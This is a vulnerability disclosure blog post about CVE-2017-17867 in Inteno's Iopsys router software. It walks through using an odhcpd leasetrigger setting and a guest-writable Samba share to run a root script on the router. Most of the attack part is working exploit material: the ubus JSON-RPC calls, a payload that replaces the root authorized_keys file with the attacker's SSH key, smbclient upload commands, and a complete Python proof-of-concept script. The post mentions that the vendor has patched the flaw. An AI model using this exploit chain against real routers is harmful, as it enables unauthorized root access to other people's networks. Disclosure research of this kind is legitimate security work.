Remote Code Execution vulnerability in Inteno's Iopsys

I’ve discovered a remote code execution vulnerability in the latest version of Iopsys router software. This affects all Inteno routers and is caused by the dhcp daemon. This vulnerability has been assigned the ID CVE-2017-17867 and a CVSSv3 severity score of 8.8.

I’ve written about vulnerabilities in Inteno’s Iopsys router software before (1, 2). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel. This time I’ve found that modifying certain configuration files allows an authenticated attacker to execute any binary or script as root. Again, since the WiFi key is usually the password for the admin’s panel lowest-priviledged user user by default (or occasionally the password may be user as well), exploiting this is relatively easy on a large number of devices.

The vulnerablity stems from the fact that the user can modify odhcpd’s configuration to point leasetrigger to anything they wish, which gets executed as soon as a new lease is granted by dhcpd. If we look at the default configuration:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"dhcp"}],"id":0}

< [...] "odhcpd":{".anonymous":false,".type":"odhcpd",".name":"odhcpd",".index":3,"leasefile":"\/tmp\/hosts\/odhcpd","maindhcp":"0","leasetrigger":"\/usr\/sbin\/odhcpd-update"}}}]}

We can see, that by default it points to /usr/sbin/odhcpd-update. The binary locating in /sbin/ is an indication that whatever gets executed is done so as root. We can test whether modifying this lets us execute code. For example, we can try setting it to /sbin/reboot. This should trigger an infinite loop of reboots, which we can physically observe.

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{maindhcp:"1",leasetrigger:"/sbin/reboot"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":2}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":3}

Indeed, the router never fully boots up, indicating that /sbin/reboot gets executed somewhere along the line. If we, however, try setting leasetrigger to something a little bit more complex:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/bin/touch /tmp/test"}}],"id":4}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":5}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":6}

It doesn’t seem to work:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","file","stat",{path:"/tmp/test"}],"id":7}

< {"jsonrpc":"2.0","id":7,"result":[4]}

This indicates that it only executes the binary and no arguments get passed to it. However, we can still point it to a script, which executes everything we want in turn.

We used to be able to place files on /tmp. However, since the patch for the previous vulnerability removed that ability, we are unable to place our script anywhere, leaving us at a dead end, right? Well, not quite. Iopsys also has a feature for Samba shares. Samba shares get mounted to /mnt, which is perfect for us. We can create a new share and enable Samba using ubus calls:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","add",{config:"samba",type:"sambashare",values:{name:"pwned",read_only:"no",create_mask:"0775",dir_mask:"0775",path:"/mnt/",guest_ok:"yes"}}],"id":8}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"samba",type:"samba",values:{interface:"lan"}}],"id":9}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"samba"}],"id":10}

We can also point leasetrigger to a location where we’ll be dropping our script:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/mnt/pwn.sh"}}],"id":11}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":12}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":13}

We can now proceed to drop our malicious script and wait for it to be executed. As an example, I’m going to drop a script that adds my public SSH key to the authorized_keys file, allowing me to ssh into the router as root. As to not cripple the functionality of odhcpd, I’m also including the original leasetrigger:

#!/bin/sh

/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys

/usr/sbin/odhcpd-update

The unix tool smbclient is good enough for this:

$ smbclient \\\\IntenoSMB\\pwned x

smb: \> put /home/neonsea/pwn.sh pwn.sh

We restart odhcpd:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","stop",{name:"odhcpd"}],"id":14}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","start",{name:"odhcpd"}],"id":15}

After waiting a while, we try ssh’ing in, and:

$ ssh root@192.168.1.1

root@Inteno:~# uname -a
Linux Inteno 3.4.11-rt19 #3 SMP PREEMPT Mon Jun 26 12:32:53 EEST 2017 mips GNU/Linux
root@Inteno:~# 

Done! We now have a full root shell.

The vendor was notified of this issue and they quickly developed a patch to fix this. You can see the patch here.

Please also note that for some reason, everything uploaded to /mnt using Samba shares disappears after a reboot. This makes it extremely hard to get the payload to trigger consistently. However, it does trigger occasionally. You can find the line of code responsible for running leasetrigger here.

I’ve also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client which you can install by evoking pip install websocket-client and the Unix tool smbclient. If you wish to use this, don’t forget to modify line 52 to include your user password, line 46 to include your public ssh key, and line 43 to include the correct host.

#!/usr/bin/python

import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        key = response.get('result')[1].get('ubus_rpc_session')
    except IndexError:
        return(None)
    return(key)

def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":[key,namespace,argument,params],
        "id":666})
    ws.send(req)
    response =  json.loads(ws.recv())
    ws.close()
    try:
        result = response.get('result')[1]
    except IndexError:
        if response.get('result')[0] == 0:
            return(True)
        return(None)
    return(result)

if __name__ == "__main__":
    host = "192.168.1.1"
    payload = """
#!/bin/sh
/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys
/usr/sbin/odhcpd-update
exit 0
    """

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Adding Samba share...")
    smbcheck = json.dumps(ubusCall(host, key, "uci", "get",
        {"config":"samba"}))
    if ("pwned" in smbcheck):
        print("Samba share seems to already exist, skipping")
    else:
        smba = ubusCall(host, key, "uci", "add",
            {"config":"samba", "type":"sambashare", "values":
            {"name":"pwned", "read_only":"no", "create_mask":"0775", "dir_mask":"0775",
            "path":"/mnt/", "guest_ok":"yes"}})
        if (not smba):
            print("Adding Samba share failed!")
            sys.exit(1)

    print("Enabling Samba...")
    smbe = ubusCall(host, key, "uci", "set",
        {"config":"samba", "type":"samba", "values":
        {"interface":"lan"}})
    if (not smbe):
        print("Enabling Samba failed!")
        sys.exit(1)

    print("Committing changes...")
    smbc = ubusCall(host, key, "uci", "commit",
        {"config":"samba"})
    if (not smbc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Setting malicious leasetrigger...")
    lts = ubusCall(host, key, "uci", "set",
        {"config":"dhcp", "type":"odhcpd", "values":
        {"leasetrigger":"/mnt/pwn.sh"}})
    if (not lts):
        print("Setting leasetrigger failed!")
        sys.exit(1)

    print("Committing changes...")
    ltc = ubusCall(host, key, "uci", "commit",
        {"config":"dhcp"})
    if (not ltc):
        print("Committing changes failed!")
        sys.exit(1)

    print("Rebooting system...")
    reb = ubusCall(host, key, "juci.system", "reboot")
    if (not reb):
        print("Rebooting failed, try rebooting manually!")
        sys.exit(1)

    print("Waiting on reboot...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    isUp = None
    while (not isUp):
        try:
            sleep(10)
            s.connect((host, 8080))
            isUp = True
            s.close()
        except:
            pass

    print("Creating temp file for payload...")
    with open(".payload.tmp","a+") as file:
        file.write(payload)
        path = os.path.realpath(file.name)

    print("Dropping payload...")
    subprocess.run(r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, path),
        shell=True, check=True)
    print("Payload dropped")

    print("Authenticating...")
    key = ubusAuth(host, "user", "password")
    if (not key):
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Executing payload")
    eec = ubusCall(host, key, "juci.service", "stop",
        {"name":"odhcpd"})
    if (not eec):
        print("Stopping odhcpd failed!")
        sys.exit(1)
    ees = ubusCall(host, key, "juci.service", "start",
        {"name":"odhcpd"})
    if (not ees):
        print("Starting odhcpd failed!")
        sys.exit(1)

    print("Cleaning up...")
    os.remove(path)

    print("Exploitation complete")

Author | neonsea

Ethical Hacking and Cybersecurity student with a special interest for hardware hacking, IoT and Linux/GNU.